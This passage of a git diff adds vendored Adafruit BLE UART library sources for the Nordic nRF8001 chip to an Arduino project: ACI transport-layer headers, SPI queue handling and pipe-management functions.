/**< Bit pattern PRBS9. */ +#define DTM_LE_PKT_0X0F 0x01 /**< Bit pattern 11110000 (LSB is the leftmost bit). */ +#define DTM_LE_PKT_0X55 0x02 /**< Bit pattern 10101010 (LSB is the leftmost bit). */ +#define DTM_LE_PKT_VENDOR 0x03 /**< Vendor specific. Nordic: continous carrier test */ + +/** @brief Defined bit fields for DTM responses. */ +#define LE_PACKET_REPORTING_EVENT_MSB_BIT 0x80 +#define LE_TEST_STATUS_EVENT_LSB_BIT 0x01 + +/** @brief DTM response types. */ +#define LE_TEST_STATUS_EVENT 0x00 +#define LE_TEST_PACKET_REPORT_EVENT 0x80 + +/** @brief DTM return values. */ +#define LE_TEST_STATUS_SUCCESS 0x00 +#define LE_TEST_STATUS_FAILURE 0x01 + + + +#endif //DTM_H__ + +/** @} */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h new file mode 100755 index 0000000..518c82b --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h @@ -0,0 +1,108 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** @file + * @brief Interface for hal_aci_tl. + */ + +/** @defgroup hal_aci_tl hal_aci_tl +@{ +@ingroup hal + +@brief Module for the ACI Transport Layer interface +@details This module is responsible for sending and receiving messages over the ACI interface of the nRF8001 chip. + The hal_aci_tl_send_cmd() can be called directly to send ACI commands. + + +The RDYN line is hooked to an interrupt on the MCU when the level is low. +The SPI master clocks in the interrupt context. +The ACI Command is taken from the head of the command queue is sent over the SPI +and the received ACI event is placed in the tail of the event queue. + +*/ + +#ifndef HAL_ACI_TL_H__ +#define HAL_ACI_TL_H__ + +#include "hal_platform.h" + +#ifndef HAL_ACI_MAX_LENGTH +#define HAL_ACI_MAX_LENGTH 31 +#endif //HAL_ACI_MAX_LENGTH + +#define ACI_QUEUE_SIZE 8 + +/** Data type for ACI commands and events */ +typedef struct hal_aci_data_t{ + uint8_t status_byte; + uint8_t buffer[HAL_ACI_MAX_LENGTH+1]; +} hal_aci_data_t; + + +/** @brief Message received hook function. + * @details A hook function that must be implemented by the client of this module. + * The function will be called by this module when a new message has been received from the nRF8001. + * @param received_msg Pointer to a structure containing a pointer to the received data. + */ +extern void hal_aci_tl_msg_rcv_hook(hal_aci_data_t *received_msg); + +/** ACI Transport Layer configures inputs/outputs. + */ +void hal_aci_tl_io_config(void); + + +/** ACI Transport Layer initialization. + */ +void hal_aci_tl_init(void); + +/**@brief Sends an ACI command to the radio. + * @details + * This function sends an ACI command to the radio. This will memorize the pointer of the message to send and + * lower the request line. When the device lowers the ready line, @ref hal_aci_tl_poll_rdy_line() will send the data. + * @param aci_buffer Pointer to the message to send. + * @return True if the send is started successfully, false if a transaction is already running. + */ +bool hal_aci_tl_send(hal_aci_data_t *aci_buffer); + + +/** @brief Check for pending transaction. + * @details + * Call this function from the main context at regular intervals to check if the nRF8001 RDYN line indicates a pending transaction. + * If a transaction is pending, this function will treat it and call the receive hook. + */ +void hal_aci_tl_poll_rdy_line(void); + +hal_aci_data_t * hal_aci_tl_poll_get(void); + +bool hal_aci_tl_event_get(hal_aci_data_t *p_aci_data); + +/** @brief Flush the ACI command Queue and the ACI Event Queue + * @details + * Call this function in the main thread +*/ +void m_aci_q_flush(void); + +/** @brief Enable debug printing of all ACI commands sent and ACI events received + * @details + * when the enable parameter is true. The debug printing is enabled on the Serial. + * When the enable parameter is false. The debug printing is disabled on the Serial. + * By default the debug printing is disabled. +*/ +void hal_aci_debug_print(bool enable); + +#endif // HAL_ACI_TL_H__ +/** @} */ + + + + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h new file mode 100755 index 0000000..d0e9f6c --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h @@ -0,0 +1,71 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** @file +*/ + +/** @defgroup hal_io hal_io + * @{ + * @ingroup hal + * @brief Macros input/output management +*/ + +#include "hal_platform.h" + +#ifndef HAL_IO_H__ +#define HAL_IO_H__ + +#define HAL_IO_P00 PIN0 +#define HAL_IO_P01 PIN1 +#define HAL_IO_P02 PIN2 +#define HAL_IO_P03 PIN3 +#define HAL_IO_P04 PIN4 +#define HAL_IO_P05 PIN5 +#define HAL_IO_P06 PIN6 +#define HAL_IO_P07 PIN7 +#define HAL_IO_P08 PIN8 +#define HAL_IO_P09 PIN9 + +#define HAL_IO_OUTPUT OUTPUT +#define HAL_IO_INPUT INPUT + +/**@brief Macro to configure an I/O. + * @details + * This macro configures a given I/O to input or output with pullup/buffer configuration. + * @param io_name I/O to configure. + * @param is_input Indicate if the I/O is to be set as an input. + * @param io_mode Pull resistor and buffer configuration (must be HAL_IO_OUTPUT_NORMAL_STRENGTH, HAL_IO_OUTPUT_HIGH_STRENGTH, HAL_IO_INPUT_BUF_ON_NO_PULL, + * HAL_IO_INPUT_BUF_ON_PULL_DOWN, HAL_IO_INPUT_BUF_ON_PULL_UP, or HAL_IO_INPUT_BUF_OFF). +*/ +#define HAL_IO_CONFIG(io_name, is_input, io_mode) pinMode(io_name, is_input) + +/**@brief Macro to set an output. + * @details + * This macro sets the given output to the given level (1 -> high, 0 -> low). + * @param io_name Output to change. + * @param io_state Level to set. +*/ +#define HAL_IO_SET_STATE(io_name, io_state) digitalWrite(io_name, io_state) + +/**@brief Macro that reads the current state of an input. + * @details + * This macro reads the current state of a logical input. + * @param io_name Input to read. + * @return Input state level (1 if high, 0 if low). +*/ +#define HAL_IO_READ(io_name) digitalRead(io_name) + + +#endif //HAL_IO_H__ + +/** @} */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp new file mode 100755 index 0000000..f4a6c7a --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp @@ -0,0 +1,425 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision: 4808 $ + */ + +/** @file +@brief Implementation of the ACI transport layer module +*/ + +#include +#include "hal_platform.h" +#include "hal/hal_aci_tl.h" +#include "hal/hal_io.h" +#include "ble_system.h" +#include + +extern int8_t HAL_IO_RADIO_RESET, HAL_IO_RADIO_REQN, HAL_IO_RADIO_RDY, HAL_IO_RADIO_IRQ; + +static const uint8_t dreqinttable[] = { +#if defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) || defined (__AVR_ATmega328__) || defined(__AVR_ATmega8__) + 2, 0, + 3, 1, +#elif defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2561__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega1280__) + 2, 0, + 3, 1, + 21, 2, + 20, 3, + 19, 4, + 18, 5, +#elif defined(__AVR_ATmega32U4__) && defined(CORE_TEENSY) + 5, 0, + 6, 1, + 7, 2, + 8, 3, +#elif defined(__AVR_AT90USB1286__) && defined(CORE_TEENSY) + 0, 0, + 1, 1, + 2, 2, + 3, 3, + 36, 4, + 37, 5, + 18, 6, + 19, 7, +#elif defined(__arm__) && defined(CORE_TEENSY) + 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, + 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, + 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, + 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, + 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, + 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, + 30, 30, 31, 31, 32, 32, 33, 33, +#elif defined(__AVR_ATmega32U4__) + 7, 4, + 3, 0, + 2, 1, + 0, 2, + 1, 3, +#elif defined(__AVR_ATmega256RFR2__) + 4, 0, + 5, 1, + 15, 2, + 16, 3, + 13, 4, + 14, 5, + 7, 6, + 18, 7, +#endif +}; + + +static void m_print_aci_data(hal_aci_data_t *p_data); + +typedef struct { + hal_aci_data_t aci_data[ACI_QUEUE_SIZE]; + uint8_t head; + uint8_t tail; +} aci_queue_t; + +static hal_aci_data_t received_data; +static uint8_t spi_readwrite(uint8_t aci_byte); +static bool aci_debug_print; + + + + +static aci_queue_t aci_tx_q; +static aci_queue_t aci_rx_q; + +static void m_aci_q_init(aci_queue_t *aci_q) +{ + uint8_t loop; + + aci_debug_print = false; + aci_q->head = 0; + aci_q->tail = 0; + for(loop=0; looptail + 1) % ACI_QUEUE_SIZE; + const uint8_t length = p_data->buffer[0]; + + if (next == aci_q->head) + { + /* full queue */ + return false; + } + aci_q->aci_data[aci_q->tail].status_byte = 0; + + memcpy((uint8_t *)&(aci_q->aci_data[aci_q->tail].buffer[0]), (uint8_t *)&p_data->buffer[0], length + 1); + aci_q->tail = next; + + return true; +} + +//@comment after a port have test for the queue states, esp. the full and the empty states +static bool m_aci_q_dequeue(aci_queue_t *aci_q, hal_aci_data_t *p_data) +{ + if (aci_q->head == aci_q->tail) + { + /* empty queue */ + return false; + } + + memcpy((uint8_t *)p_data, (uint8_t *)&(aci_q->aci_data[aci_q->head]), sizeof(hal_aci_data_t)); + aci_q->head = (aci_q->head + 1) % ACI_QUEUE_SIZE; + + return true; +} + +static bool m_aci_q_is_empty(aci_queue_t *aci_q) +{ + return (aci_q->head == aci_q->tail); +} + +static bool m_aci_q_is_full(aci_queue_t *aci_q) +{ + uint8_t next; + bool state; + + //This should be done in a critical section + noInterrupts(); + next = (aci_q->tail + 1) % ACI_QUEUE_SIZE; + + if (next == aci_q->head) + { + state = true; + } + else + { + state = false; + } + + interrupts(); + //end + + return state; +} + + + +void m_print_aci_data(hal_aci_data_t *p_data) +{ + const uint8_t length = p_data->buffer[0]; + uint8_t i; + Serial.print(length, DEC); + Serial.print(" :"); + for (i=0; i<=length; i++) + { + Serial.print(p_data->buffer[i], HEX); + Serial.print(F(", ")); + } + Serial.println(F("")); +} + +void toggle_eimsk(bool state) +{ + /* ToDo: This will currently only work with the UNO/ATMega48/88/128/328 */ + /* due to EIMSK. Abstract this away to something MCU nuetral! */ + uint8_t eimsk_bit = 0xFF; + for (uint8_t i=0; ibuffer[0] > 0) + { + if (!m_aci_q_enqueue(&aci_rx_q, p_aci_data)) + { + /* Receive Buffer full. + Should never happen. + Spin in a while loop. + */ + while(1); + } + if (m_aci_q_is_full(&aci_rx_q)) + { + /* Disable RDY line interrupt. + Will latch any pending RDY lines, so when enabled it again this + routine should be taken again */ + toggle_eimsk(false); + } + } +} + +bool hal_aci_tl_event_get(hal_aci_data_t *p_aci_data) +{ + bool was_full = m_aci_q_is_full(&aci_rx_q); + + if (m_aci_q_dequeue(&aci_rx_q, p_aci_data)) + { + if (true == aci_debug_print) + { + Serial.print(" E"); + m_print_aci_data(p_aci_data); + } + + if (was_full) + { + toggle_eimsk(true); + } + return true; + } + else + { + return false; + } +} + +void hal_aci_tl_init() +{ + received_data.buffer[0] = 0; + + SPI.begin(); + SPI.setBitOrder(LSBFIRST); + SPI.setClockDivider(SPI_CLOCK_DIV8); + SPI.setDataMode(SPI_MODE0); + + + + /* initialize aci cmd queue */ + m_aci_q_init(&aci_tx_q); + m_aci_q_init(&aci_rx_q); + + //Configure the IO lines + pinMode(HAL_IO_RADIO_RESET, OUTPUT); + pinMode(HAL_IO_RADIO_RDY, INPUT_PULLUP); + pinMode(HAL_IO_RADIO_REQN, OUTPUT); + + digitalWrite(HAL_IO_RADIO_RESET, 1); + delay(100); + digitalWrite(HAL_IO_RADIO_RESET, 0); + digitalWrite(HAL_IO_RADIO_RESET, 1); + + digitalWrite(SCK, 0); + digitalWrite(MOSI, 0); + digitalWrite(HAL_IO_RADIO_REQN, 1); + digitalWrite(SCK, 0); + + HAL_IO_RADIO_IRQ = 0xFF; + for (uint8_t i=0; ibuffer[0]; + bool ret_val = false; + + if (length > HAL_ACI_MAX_LENGTH) + { + return false; + } + else + { + if (m_aci_q_enqueue(&aci_tx_q, p_aci_cmd)) + { + ret_val = true; + } + } + + if (true == aci_debug_print) + { + Serial.print("C"); + m_print_aci_data(p_aci_cmd); + } + + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 0); + return ret_val; +} + + + +hal_aci_data_t * hal_aci_tl_poll_get(void) +{ + uint8_t byte_cnt; + uint8_t byte_sent_cnt; + uint8_t max_bytes; + hal_aci_data_t data_to_send; + + + //SPI.begin(); + + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 0); + + // Receive from queue + if (m_aci_q_dequeue(&aci_tx_q, &data_to_send) == false) + { + /* queue was empty, nothing to send */ + data_to_send.status_byte = 0; + data_to_send.buffer[0] = 0; + } + + //Change this if your mcu has DMA for the master SPI + + // Send length, receive header + byte_sent_cnt = 0; + received_data.status_byte = spi_readwrite(data_to_send.buffer[byte_sent_cnt++]); + // Send first byte, receive length from slave + received_data.buffer[0] = spi_readwrite(data_to_send.buffer[byte_sent_cnt++]); + if (0 == data_to_send.buffer[0]) + { + max_bytes = received_data.buffer[0]; + } + else + { + // Set the maximum to the biggest size. One command byte is already sent + max_bytes = (received_data.buffer[0] > (data_to_send.buffer[0] - 1)) + ? received_data.buffer[0] : (data_to_send.buffer[0] - 1); + } + + if (max_bytes > HAL_ACI_MAX_LENGTH) + { + max_bytes = HAL_ACI_MAX_LENGTH; + } + + // Transmit/receive the rest of the packet + for (byte_cnt = 0; byte_cnt < max_bytes; byte_cnt++) + { + received_data.buffer[byte_cnt+1] = spi_readwrite(data_to_send.buffer[byte_sent_cnt++]); + } + + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 1); + //SPI.end() + //RDYN should follow the REQN line in approx 100ns + + sleep_enable(); + attachInterrupt(HAL_IO_RADIO_IRQ, m_rdy_line_handle, LOW); + + + + if (false == m_aci_q_is_empty(&aci_tx_q)) + { + //Lower the REQN line to start a new ACI transaction + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 0); + } + + /* valid Rx available or transmit finished*/ + return (&received_data); +} + +static uint8_t spi_readwrite(const uint8_t aci_byte) +{ + return SPI.transfer(aci_byte); +} + +void m_aci_q_flush(void) +{ + noInterrupts(); + /* re-initialize aci cmd queue and aci event queue to flush them*/ + m_aci_q_init(&aci_tx_q); + m_aci_q_init(&aci_rx_q); + interrupts(); +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h new file mode 100755 index 0000000..f0eeccd --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h @@ -0,0 +1,69 @@ +/* Copyright (c) 2011 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRENTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +#ifndef PLATFORM_H__ +#define PLATFORM_H__ + +/** @file +* @brief +*/ +#include "Arduino.h" + + +#define hal_pltf_clear_spi_master_config() do { SPCR = 0; } while(0) + +//SPI2X=1 SPS0=1 SPR0=1 -> 250KHz +//DORD=1 LSBit first +//SPE=1 Enable the SPI +//MSTR=1 Enable master mode +//CPOL=0 See Section 7 in the nRF8001 PS (Clock Polarity) +//CPHA=0 See Section 7 in the nRF8001 PS (Clock Phase) +/* +Atmega328 +Table 18-5. Relationship Between SCK and the Oscillator Frequency +SPI2X SPR1 SPR0 SCK Frequency +0 0 0 fosc/4 +0 0 1 fosc/16 +0 1 0 fosc/64 +0 1 1 fosc/128 +1 0 0 fosc/2 +1 0 1 fosc/8 +1 1 0 fosc/32 +1 1 1 fosc/64 +*/ +/* +#define hal_pltf_spi_master_config() do { \ + pinMode(SCK, OUTPUT);\ + pinMode(MOSI, OUTPUT);\ + pinMode(SS, OUTPUT);\ + pinMode(MISO, INPUT);\ + digitalWrite(SCK, LOW);\ + digitalWrite(MOSI, LOW);\ + digitalWrite(SS, HIGH);\ + SPCR = 0; \ + SPSR = 0; \ + SPSR = (1<pipes_open_bitmap[byte_idx] & (0x01 << (pipe % 8))) + { + return(true); + } + return(false); +} + + +bool lib_aci_is_pipe_closed(aci_state_t *aci_stat, uint8_t pipe) +{ + uint8_t byte_idx; + + byte_idx = pipe / 8; + if (aci_stat->pipes_closed_bitmap[byte_idx] & (0x01 << (pipe % 8))) + { + return(true); + } + return(false); +} + + +bool lib_aci_is_discovery_finished(aci_state_t *aci_stat) +{ + return(aci_stat->pipes_open_bitmap[0]&0x01); +} + + + + +void lib_aci_init(aci_state_t *aci_stat) +{ + uint8_t i; + + for (i = 0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = 0; + aci_stat->pipes_closed_bitmap[i] = 0; + aci_cmd_params_open_adv_pipe.pipes[i] = 0; + } + + + + + is_request_operation_pending = false; + is_indicate_operation_pending = false; + is_open_remote_pipe_pending = false; + is_close_remote_pipe_pending = false; + cur_transaction_cmd = ACI_CMD_INVALID; + memorized_rcvd_cmd_opcode = ACI_CMD_INVALID; + memorized_transaction_cmd_opcode = ACI_CMD_INVALID; + cx_rf_interval = 0; + current_slave_latency = 0; + request_operation_pipe = 0; + indicate_operation_pipe = 0; + cur_error_code = 0; + p_rcvd_evt = NULL; + + p_services_pipe_type_map = aci_stat->aci_setup_info.services_pipe_type_mapping; + pipe_count = aci_stat->aci_setup_info.number_of_pipes; + p_setup_msgs = aci_stat->aci_setup_info.setup_msgs; + setup_msgs_count = aci_stat->aci_setup_info.num_setup_msgs; + + hal_aci_tl_init(); +} + + +uint8_t lib_aci_get_nb_available_credits(aci_state_t *aci_stat) +{ + return aci_stat->data_credit_available; +} + +uint16_t lib_aci_get_cx_interval_ms(aci_state_t *aci_stat) +{ + uint32_t cx_rf_interval_ms_32bits; + uint16_t cx_rf_interval_ms; + + cx_rf_interval_ms_32bits = aci_stat->connection_interval; + cx_rf_interval_ms_32bits *= 125; // the connection interval is given in multiple of 0.125 milliseconds + cx_rf_interval_ms = cx_rf_interval_ms_32bits / 100; + + return cx_rf_interval_ms; +} + + +uint16_t lib_aci_get_cx_interval(aci_state_t *aci_stat) +{ + return aci_stat->connection_interval; +} + + +uint16_t lib_aci_get_slave_latency(aci_state_t *aci_stat) +{ + return aci_stat->slave_latency; +} + + +bool lib_aci_set_app_latency(uint16_t latency, aci_app_latency_mode_t latency_mode) +{ + aci_cmd_params_set_app_latency_t aci_set_app_latency; + + aci_set_app_latency.mode = latency_mode; + aci_set_app_latency.latency = latency; + acil_encode_cmd_set_app_latency(&(msg_to_send.buffer[0]), &aci_set_app_latency); + + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_test(aci_test_mode_change_t enter_exit_test_mode) +{ + aci_cmd_params_test_t aci_cmd_params_test; + aci_cmd_params_test.test_mode_change = enter_exit_test_mode; + acil_encode_cmd_set_test_mode(&(msg_to_send.buffer[0]), &aci_cmd_params_test); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_sleep() +{ + acil_encode_cmd_sleep(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_radio_reset() +{ + acil_encode_baseband_reset(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_direct_connect() +{ + acil_encode_direct_connect(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_device_version() +{ + acil_encode_cmd_get_device_version(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_set_local_data(aci_state_t *aci_stat, uint8_t pipe, uint8_t *p_value, uint8_t size) +{ + aci_cmd_params_set_local_data_t aci_cmd_params_set_local_data; + + if ((p_services_pipe_type_map[pipe-1].location != ACI_STORE_LOCAL) + || + (size > ACI_PIPE_TX_DATA_MAX_LEN)) + { + return false; + } + + aci_cmd_params_set_local_data.tx_data.pipe_number = pipe; + memcpy(&(aci_cmd_params_set_local_data.tx_data.aci_data[0]), p_value, size); + acil_encode_cmd_set_local_data(&(msg_to_send.buffer[0]), &aci_cmd_params_set_local_data, size); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_connect(uint16_t run_timeout, uint16_t adv_interval) +{ + aci_cmd_params_connect_t aci_cmd_params_connect; + aci_cmd_params_connect.timeout = run_timeout; + aci_cmd_params_connect.adv_interval = adv_interval; + acil_encode_cmd_connect(&(msg_to_send.buffer[0]), &aci_cmd_params_connect); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_disconnect(aci_state_t *aci_stat, aci_disconnect_reason_t reason) +{ + bool ret_val; + uint8_t i; + aci_cmd_params_disconnect_t aci_cmd_params_disconnect; + aci_cmd_params_disconnect.reason = reason; + acil_encode_cmd_disconnect(&(msg_to_send.buffer[0]), &aci_cmd_params_disconnect); + ret_val = hal_aci_tl_send(&msg_to_send); + // If we have actually sent the disconnect + if (ret_val) + { + // Update pipes immediately so that while the disconnect is happening, + // the application can't attempt sending another message + // If the application sends another message before we updated this + // a ACI Pipe Error Event will be received from nRF8001 + for (i=0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = 0; + aci_stat->pipes_closed_bitmap[i] = 0; + } + } + return ret_val; +} + + +bool lib_aci_bond(uint16_t run_timeout, uint16_t adv_interval) +{ + aci_cmd_params_bond_t aci_cmd_params_bond; + aci_cmd_params_bond.timeout = run_timeout; + aci_cmd_params_bond.adv_interval = adv_interval; + acil_encode_cmd_bond(&(msg_to_send.buffer[0]), &aci_cmd_params_bond); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_wakeup() +{ + acil_encode_cmd_wakeup(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_set_tx_power(aci_device_output_power_t tx_power) +{ + aci_cmd_params_set_tx_power_t aci_cmd_params_set_tx_power; + aci_cmd_params_set_tx_power.device_power = tx_power; + acil_encode_cmd_set_radio_tx_power(&(msg_to_send.buffer[0]), &aci_cmd_params_set_tx_power); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_get_address() +{ + acil_encode_cmd_get_address(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_get_temperature() +{ + acil_encode_cmd_temparature(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_get_battery_level() +{ + acil_encode_cmd_battery_level(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_send_data(uint8_t pipe, uint8_t *p_value, uint8_t size) +{ + bool ret_val = false; + aci_cmd_params_send_data_t aci_cmd_params_send_data; + + + if(!((p_services_pipe_type_map[pipe-1].pipe_type == ACI_TX) || + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_TX_ACK))) + { + return false; + } + + if (size > ACI_PIPE_TX_DATA_MAX_LEN) + { + return false; + } + { + aci_cmd_params_send_data.tx_data.pipe_number = pipe; + memcpy(&(aci_cmd_params_send_data.tx_data.aci_data[0]), p_value, size); + acil_encode_cmd_send_data(&(msg_to_send.buffer[0]), &aci_cmd_params_send_data, size); + is_cmd_response_expected = false; + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_request_data(aci_state_t *aci_stat, uint8_t pipe) +{ + bool ret_val = false; + aci_cmd_params_request_data_t aci_cmd_params_request_data; + + if(!((p_services_pipe_type_map[pipe-1].location == ACI_STORE_REMOTE)&&(p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_REQ))) + { + return false; + } + + + { + + { + + + + aci_cmd_params_request_data.pipe_number = pipe; + acil_encode_cmd_request_data(&(msg_to_send.buffer[0]), &aci_cmd_params_request_data); + + ret_val = hal_aci_tl_send(&msg_to_send); + } + } + return ret_val; +} + + +bool lib_aci_change_timing(uint16_t minimun_cx_interval, uint16_t maximum_cx_interval, uint16_t slave_latency, uint16_t timeout) +{ + aci_cmd_params_change_timing_t aci_cmd_params_change_timing; + aci_cmd_params_change_timing.conn_params.min_conn_interval = minimun_cx_interval; + aci_cmd_params_change_timing.conn_params.max_conn_interval = maximum_cx_interval; + aci_cmd_params_change_timing.conn_params.slave_latency = slave_latency; + aci_cmd_params_change_timing.conn_params.timeout_mult = timeout; + acil_encode_cmd_change_timing_req(&(msg_to_send.buffer[0]), &aci_cmd_params_change_timing); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_change_timing_GAP_PPCP() +{ + acil_encode_cmd_change_timing_req_GAP_PPCP(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_open_remote_pipe(aci_state_t *aci_stat, uint8_t pipe) +{ + bool ret_val = false; + aci_cmd_params_open_remote_pipe_t aci_cmd_params_open_remote_pipe; + + if(!((p_services_pipe_type_map[pipe-1].location == ACI_STORE_REMOTE)&& + ((p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK_AUTO)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK)))) + { + return false; + } + + + { + + is_request_operation_pending = true; + is_open_remote_pipe_pending = true; + request_operation_pipe = pipe; + aci_cmd_params_open_remote_pipe.pipe_number = pipe; + acil_encode_cmd_open_remote_pipe(&(msg_to_send.buffer[0]), &aci_cmd_params_open_remote_pipe); + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_close_remote_pipe(aci_state_t *aci_stat, uint8_t pipe) +{ + bool ret_val = false; + aci_cmd_params_close_remote_pipe_t aci_cmd_params_close_remote_pipe; + + if((p_services_pipe_type_map[pipe-1].location == ACI_STORE_REMOTE)&& + ((p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK_AUTO)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK))) + { + return false; + } + + + { + + is_request_operation_pending = true; + is_close_remote_pipe_pending = true; + request_operation_pipe = pipe; + aci_cmd_params_close_remote_pipe.pipe_number = pipe; + acil_encode_cmd_close_remote_pipe(&(msg_to_send.buffer[0]), &aci_cmd_params_close_remote_pipe); + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_set_key(aci_key_type_t key_rsp_type, uint8_t *key, uint8_t len) +{ + aci_cmd_params_set_key_t aci_cmd_params_set_key; + aci_cmd_params_set_key.key_type = key_rsp_type; + memcpy((uint8_t*)&(aci_cmd_params_set_key.key), key, len); + acil_encode_cmd_set_key(&(msg_to_send.buffer[0]), &aci_cmd_params_set_key); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_echo_msg(uint8_t msg_size, uint8_t *p_msg_data) +{ + aci_cmd_params_echo_t aci_cmd_params_echo; + if(msg_size > (ACI_ECHO_DATA_MAX_LEN)) + { + return false; + } + + if (msg_size > (ACI_ECHO_DATA_MAX_LEN)) + { + msg_size = ACI_ECHO_DATA_MAX_LEN; + } + + memcpy(&(aci_cmd_params_echo.echo_data[0]), p_msg_data, msg_size); + acil_encode_cmd_echo_msg(&(msg_to_send.buffer[0]), &aci_cmd_params_echo, msg_size); + + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_bond_request() +{ + acil_encode_cmd_bond_security_request(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_event_get(aci_state_t *aci_stat, hal_aci_evt_t *p_aci_evt_data) +{ + bool status; + status = hal_aci_tl_event_get((hal_aci_data_t *)p_aci_evt_data); + + /** + Update the state of the ACI witn the + ACI Events -> Pipe Status, Disconnected, Connected, Bond Status, Pipe Error + */ + { + aci_evt_t * aci_evt; + + aci_evt = &p_aci_evt_data->evt; + + switch(aci_evt->evt_opcode) + { + case ACI_EVT_PIPE_STATUS: + { + uint8_t i=0; + + for (i=0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = aci_evt->params.pipe_status.pipes_open_bitmap[i]; + aci_stat->pipes_closed_bitmap[i] = aci_evt->params.pipe_status.pipes_closed_bitmap[i]; + } + } + break; + + case ACI_EVT_DISCONNECTED: + { + uint8_t i=0; + + for (i=0; i < PIPES_ARRAY_SIZE; i++) + { + 